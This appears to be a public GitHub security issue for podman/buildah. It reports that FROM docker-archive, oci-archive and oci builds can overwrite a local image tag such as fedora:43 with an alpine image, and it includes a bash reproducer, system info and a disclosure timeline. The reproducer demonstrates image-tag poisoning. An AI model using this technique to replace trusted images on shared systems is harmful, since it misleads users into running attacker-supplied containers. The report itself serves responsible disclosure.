`FROM docker-archive`, `FROM oci-archive` and `FROM oci` can create/overwrite a local image tag

Author: eriksjolundCreated Sep 15, 2026Updated Sep 19, 2026

Labelskind/bug

Issue Description

The reproducer shows that building a Containerfile containing FROM docker-archive:./foobar, FROM oci-archive:./foobar or FROM oci:./foobar:docker.io/library/fedora:43 with podman build -q . can overwrite an image tag docker.io/library/fedora:43 so that the tag instead points to an alpine container image. Before the build, docker.io/library/fedora:43 points to a pulled fedora image. After the build the same tag points to an alpine image. This is verified by the following command

podman run --rm docker.io/library/fedora:43 test -f /etc/alpine-release

I suggest disallow image tagging from within Containerfiles when using these transports. If that is not possible make it configurable (with disallow being the default value).

Steps to reproduce the issue

Create file /tmp/test.bash containing

bash

#!/bin/bash
set -o errexit
set -o nounset

username_prefix=$1

original_tag=docker.io/library/fedora:43
replaced_image=docker.io/library/alpine:3.20.9

count=0
for i in docker-archive oci-archive oci; do
  count=$((count + 1))
  echo Testing $i
  dir=$(mktemp -d)
  cd "$dir"
  skopeo copy -q "docker://${replaced_image}" "${i}:./foobar:${original_tag}"
  extra=""
  if [[ "$i" == "oci" ]]; then
    extra=:${original_tag}
  fi
  echo FROM $i:./foobar${extra} > "./Containerfile"
  chmod -R 755 $dir
  username=${username_prefix}${count}
  useradd "$username"
  echo "set -o errexit
  podman pull -q $original_tag > /dev/null
  cd $dir
  podman build -q . > /dev/null
  podman run --rm $original_tag test -f /etc/alpine-release \
   && echo Reproduced: $original_tag contains /etc/alpine-release
    " | systemd-run --machine=${username}@ --quiet --user --collect --pipe --wait bash -
  echo
done

Run the script
bash
```
sudo bash /tmp/test.bash test
```
(The usernames test1, test2 and test3 must not exist beforehand)

Describe the results you received

Testing docker-archive
Reproduced: docker.io/library/fedora:43 contains /etc/alpine-release

Testing oci-archive
Reproduced: docker.io/library/fedora:43 contains /etc/alpine-release

Testing oci
Reproduced: docker.io/library/fedora:43 contains /etc/alpine-release

Describe the results you expected

Testing docker-archive

Testing oci-archive

Testing oci

podman version output

yaml

Client:        Podman Engine
Version:       6.1.1
API Version:   6.1.1
Go Version:    go1.27.0-X:nodwarf5
Git Commit:    8303f2e25b675ea7f82099d615c60969aec15870
Built:         Wed Sep  2 00:00:00 2026
Build Origin:  Fedora Project
OS/Arch:       linux/arm64

podman info output

yaml

host:
  arch: arm64
  buildahVersion: 1.45.0
  cdiSpecDirs:
  - /etc/cdi
  - /var/run/cdi
  cgroupControllers:
  - cpu
  - memory
  - pids
  cgroupManager: systemd
  cgroupVersion: v2
  conmon:
    package: conmon-2.2.1-2.fc45.aarch64
    path: /usr/bin/conmon
    version: 'conmon version 2.2.1, commit: '
  cpuUtilization:
    idlePercent: 99.78
    systemPercent: 0.13
    userPercent: 0.09
  cpus: 2
  databaseBackend: sqlite
  distribution:
    distribution: fedora
    variant: coreos
    version: "46"
  emulatedArchitectures:
  - linux/386
  - linux/amd64
  eventLogger: journald
  freeLocks: 2048
  hostname: localhost.localdomain
  idMappings:
    gidmap:
    - container_id: 0
      host_id: 1000
      size: 1
    - container_id: 1
      host_id: 524288
      size: 65536
    uidmap:
    - container_id: 0
      host_id: 1000
      size: 1
    - container_id: 1
      host_id: 524288
      size: 65536
  kernel: 7.3.0-0.rc0.260819gbd5f485f3f02.5.fc46.aarch64
  linkmode: dynamic
  logDriver: journald
  memAvailable: 2604261376
  memFree: 136458240
  memTotal: 4075978752
  networkBackend: netavark
  networkBackendInfo:
    backend: netavark
    defaultNetwork: podman
    dns:
      package: aardvark-dns-2.1.0-1.fc46.aarch64
      path: /usr/libexec/podman/aardvark-dns
      version: aardvark-dns 2.1.0
    package: netavark-2.1.0-1.fc46.aarch64
    path: /usr/libexec/podman/netavark
    version: netavark 2.1.0
  ociRuntime:
    name: crun
    package: crun-1.29.1-1.fc46.aarch64
    path: /usr/bin/crun
    version: |-
      crun version 1.29.1
      commit: f0d911de5587342cfeb16473bf32ecdfeaf25957
      rundir: /run/user/1000/crun
      spec: 1.0.0
      +SYSTEMD +SELINUX +APPARMOR +CAP +SECCOMP +EBPF +CRIU +LIBKRUN +WASM:wasmedge +JSON_C
  os: linux
  pasta:
    executable: /usr/bin/pasta
    package: passt-0^20260728.gf8df3f1-2.fc45.aarch64
    version: |
      pasta 0^20260728.gf8df3f1-2.fc45.aarch64-pasta
      Copyright Red Hat
      GNU General Public License, version 2 or later
        <https://www.gnu.org/licenses/old-licenses/gpl-2.0.html>
      This is free software: you are free to change and redistribute it.
      There is NO WARRANTY, to the extent permitted by law.
  remoteSocket:
    exists: true
    path: /run/user/1000/podman/podman.sock
  rootlessNetworkCmd: pasta
  rootlessPortForwarder: rootlessport
  security:
    apparmorEnabled: false
    capabilities: CAP_CHOWN,CAP_DAC_OVERRIDE,CAP_FOWNER,CAP_FSETID,CAP_KILL,CAP_NET_BIND_SERVICE,CAP_SETFCAP,CAP_SETGID,CAP_SETPCAP,CAP_SETUID,CAP_SYS_CHROOT
    rootless: true
    seccompEnabled: true
    seccompProfilePath: /usr/share/containers/seccomp.json
    selinuxEnabled: true
  serviceIsRemote: false
  swapFree: 0
  swapTotal: 0
  uptime: 13h 48m 12.00s (Approximately 0.54 days)
  variant: v8
plugins:
  authorization: null
  log:
  - k8s-file
  - none
  - passthrough
  - journald
  network:
  - bridge
  - macvlan
  - ipvlan
  volume:
  - local
registries:
  search:
  - registry.fedoraproject.org
  - registry.access.redhat.com
  - docker.io
store:
  containerStore:
    number: 0
    paused: 0
    running: 0
    stopped: 0
  graphDriverName: overlay
  graphOptions:
    overlay.mountopt: nodev
  graphRoot: /var/home/core/.local/share/containers/storage
  graphRootAllocated: 10131341312
  graphRootUsed: 7721058304
  graphStatus:
    Backing Filesystem: xfs
    Native Overlay Diff: "true"
    Supports d_type: "true"
    Supports shifting: "false"
    Supports volatile: "true"
    Using metacopy: "false"
  imageCopyTmpDir: /var/tmp
  imageStore:
    number: 0
  runRoot: /run/user/1000/containers
  transientStore: false
  volumePath: /var/home/core/.local/share/containers/storage/volumes
version:
  APIVersion: 6.1.1
  BuildOrigin: Fedora Project
  Built: 1788307200
  BuiltTime: Wed Sep  2 00:00:00 2026
  GitCommit: 8303f2e25b675ea7f82099d615c60969aec15870
  GoVersion: go1.27.0-X:nodwarf5
  Os: linux
  OsArch: linux/arm64
  Version: 6.1.1

Provide your storage.conf

toml

# This file is the configuration file for all tools
# that use the containers/storage library. The storage.conf file
# overrides all other storage.conf files. Container engines using the
# container/storage library do not inherit fields from other storage.conf
# files.
#
# See man 5 containers-storage.conf for more information
# The "storage" table contains all of the server options.
[storage]

# Default storage driver. Optional.
# driver = "overlay"

# Temporary storage location
# runroot = "/run/containers/storage"

# Priority list for the storage drivers that will be tested one
# after the other to pick the storage driver if it is not defined.
# driver_priority = ["overlay", "btrfs"]

# Primary Read/Write location of container storage
# When changing the graphroot location on an SELinux system, you must
# ensure the labeling matches the default location's labels with the
# following commands:
# semanage fcontext -a -e /var/lib/containers/storage /NEWSTORAGEPATH
# restorecon -R -v /NEWSTORAGEPATH
# graphroot = "/var/lib/containers/storage"

# Optional alternate location of image store if a location separate from the
# container store is required. If set, it must be different than graphroot.
# imagestore = ""


# Storage path for rootless users
#
# rootless_storage_path = "$HOME/.local/share/containers/storage"

# Transient store mode makes all container metadata be saved in temporary storage
# (i.e. runroot above). This is faster, but doesn't persist across reboots.
# Additional garbage collection must also be performed at boot-time, so this
# option should remain disabled in most configurations.
# transient_store = true

[storage.options]
# Storage options to be passed to underlying storage drivers

# AdditionalImageStores is used to pass paths to additional Read/Only image stores
# Must be comma separated list.
# additionalimagestores = []

# Options controlling how storage is populated when pulling images.
[storage.options.pull_options]
# Enable the "zstd:chunked" feature, which allows partial pulls, reusing
# content that already exists on the system. This is disabled by default,
# and must be explicitly enabled to be used. For more on zstd:chunked, see
# https://github.com/containers/storage/blob/main/docs/containers-storage-zstd-chunked.md
# This is a "string bool": "false" | "true" (cannot be native TOML boolean)
# enable_partial_images = "false"

# Tells containers/storage to use hard links rather then create new files in
# the image, if an identical file already existed in storage.
# This is a "string bool": "false" | "true" (cannot be native TOML boolean)
# use_hard_links = "false"

# Path to an ostree repository that might have
# previously pulled content which can be used when attempting to avoid
# pulling content from the container registry.
# ostree_repos=""

# If set to "true", containers/storage will convert images that are
# not already in zstd:chunked format to that format before processing
# in order to take advantage of local deduplication and hard linking.
# It is an expensive operation so it is not enabled by default.
# This is a "string bool": "false" | "true" (cannot be native TOML boolean)
# convert_images = "false"

# This should ALMOST NEVER be set.
# It allows partial pulls of images without guaranteeing that "partial
# pulls" and non-partial pulls both result in consistent image contents.
# This allows pulling estargz images and early versions of zstd:chunked images;
# otherwise, these layers always use the traditional non-partial pull path.
#
# This option should be enabled EXTREMELY rarely, only if ALL images that could
# EVER be conceivably pulled on this system are GUARANTEED (e.g. using a signature policy)
# to come from a build system trusted to never attack image integrity.
#
# If this consistency enforcement were disabled, malicious images could be built
# in a way designed to evade other audit mechanisms, so presence of most other audit
# mechanisms is not a replacement for the above-mentioned need for all images to come
# from a trusted build system.
#
# As a side effect, enabling this option will also make image IDs unpredictable
# (usually not equal to the traditional value matching the config digest).
# insecure_allow_unpredictable_image_contents = "false"

# Root-auto-userns-user is a user name which can be used to look up one or more UID/GID
# ranges in the /etc/subuid and /etc/subgid file.  These ranges will be partitioned
# to containers configured to create automatically a user namespace.  Containers
# configured to automatically create a user namespace can still overlap with containers
# having an explicit mapping set.
# This setting is ignored when running as rootless.
# root-auto-userns-user = "storage"
#
# Auto-userns-min-size is the minimum size for a user namespace created automatically.
# auto-userns-min-size=1024
#
# Auto-userns-max-size is the maximum size for a user namespace created automatically.
# auto-userns-max-size=65536

[storage.options.overlay]
# ignore_chown_errors can be set to allow a non privileged user running with
# a single UID within a user namespace to run containers. The user can pull
# and use any image even those with multiple uids.  Note multiple UIDs will be
# squashed down to the default uid in the container.  These images will have no
# separation between the users in the container. Only supported for the overlay
# and vfs drivers.
# This is a "string bool": "false" | "true" (cannot be native TOML boolean)
#ignore_chown_errors = "false"

# Inodes is used to set a maximum inodes of the container image.
# inodes = ""

# Path to an helper program to use for mounting the file system instead of mounting it
# directly.
#mount_program = "/usr/bin/fuse-overlayfs"

# mountopt specifies comma separated list of extra mount options
mountopt = "nodev"

# Set to skip a PRIVATE bind mount on the storage home directory.
# This is a "string bool": "false" | "true" (cannot be native TOML boolean)
# skip_mount_home = "false"

# Set to use composefs to mount data layers with overlay.
# This is a "string bool": "false" | "true" (cannot be native TOML boolean)
# use_composefs = "false"

# Size is used to set a maximum size of the container image.
# size = ""

# ForceMask specifies the permissions mask that is used for new files and
# directories.
#
# The values "shared" and "private" are accepted.
# Octal permission masks are also accepted.
#
#  "": No value specified.
#     All files/directories, get set with the permissions identified within the
#     image.
#  "private": it is equivalent to 0700.
#     All files/directories get set with 0700 permissions.  The owner has rwx
#     access to the files. No other users on the system can access the files.
#     This setting could be used with networked based homedirs.
#  "shared": it is equivalent to 0755.
#     The owner has rwx access to the files and everyone else can read, access
#     and execute them. This setting is useful for sharing containers storage
#     with other users.  For instance have a storage owned by root but shared
#     to rootless users as an additional store.
#     NOTE:  All files within the image are made readable and executable by any
#     user on the system. Even /etc/shadow within your image is now readable by
#     any user.
#
#   OCTAL: Users can experiment with other OCTAL Permissions.
#
#  Note: The force_mask Flag is an experimental feature, it could change in the
#  future.  When "force_mask" is set the original permission mask is stored in
#  the "user.containers.override_stat" xattr and the "mount_program" option must
#  be specified. Mount programs like "/usr/bin/fuse-overlayfs" present the
#  extended attribute permissions to processes within containers rather than the
#  "force_mask"  permissions.
#
# force_mask = ""

# Sync filesystem before marking layer as present. Filesystem must support syncfs.
# Values: "none", "filesystem"
# sync = "none"

[storage.options.vfs]
# Sync filesystem before marking layer as present. Filesystem must support syncfs.
# Values: "none", "filesystem"
# sync = "none"

Podman in a container

Privileged Or Rootless

Rootless

Upstream Latest Release

Yes

Installation Source

Distribution package (DNF, apt, yay)

Additional environment details

Fedora CoreOS 46.20260910.91.4 (rawhide)

$ rpm-ostree status
State: idle
Deployments:
● ostree-image-signed:docker://quay.io/fedora/fedora-coreos:rawhide
                   Digest: sha256:858a73bddc1a24a0a3e6b5cc5c9765936c968dbeb17d1159c53e475c53a19e49
                  Version: 46.20260910.91.4 (2026-09-11T15:53:39Z)

$ rpm -q podman
podman-6.1.1-1.fc46.aarch64

Additional information

The issue also reproduces on another computer (podman 5.8.4 on Fedora 44)

$ rpm -q podman
podman-5.8.4-1.fc44.x86_64

Disclosure history

2026-04-27: I reported the issue privately to [email protected] 2026-04-29: A maintainer replied arguing that this is expected behavior and that there is therefore no expected privilege boundary between the principal running the build and the author of the archive. The maintainer noted that the question isn't 100% clear-cut and invited other maintainers' opinions. 2026-04-29, 2026-05-04, 2026-06-29, 2026-08-03: I wrote some follow-ups. In the last of these I wrote that I intended to publish on 2026-09-15. There were no further replies.

I'm filing this publicly because there is no embargo in place and no CVE was requested. The private report covered only docker-archive. While preparing this GitHub issue I noticed similar behavior for oci-archive and oci. I also noticed that an existing local tag can be overwritten (not just created).

Source: podman-container-tools/buildah

View original on GitHub View discussion on GitHub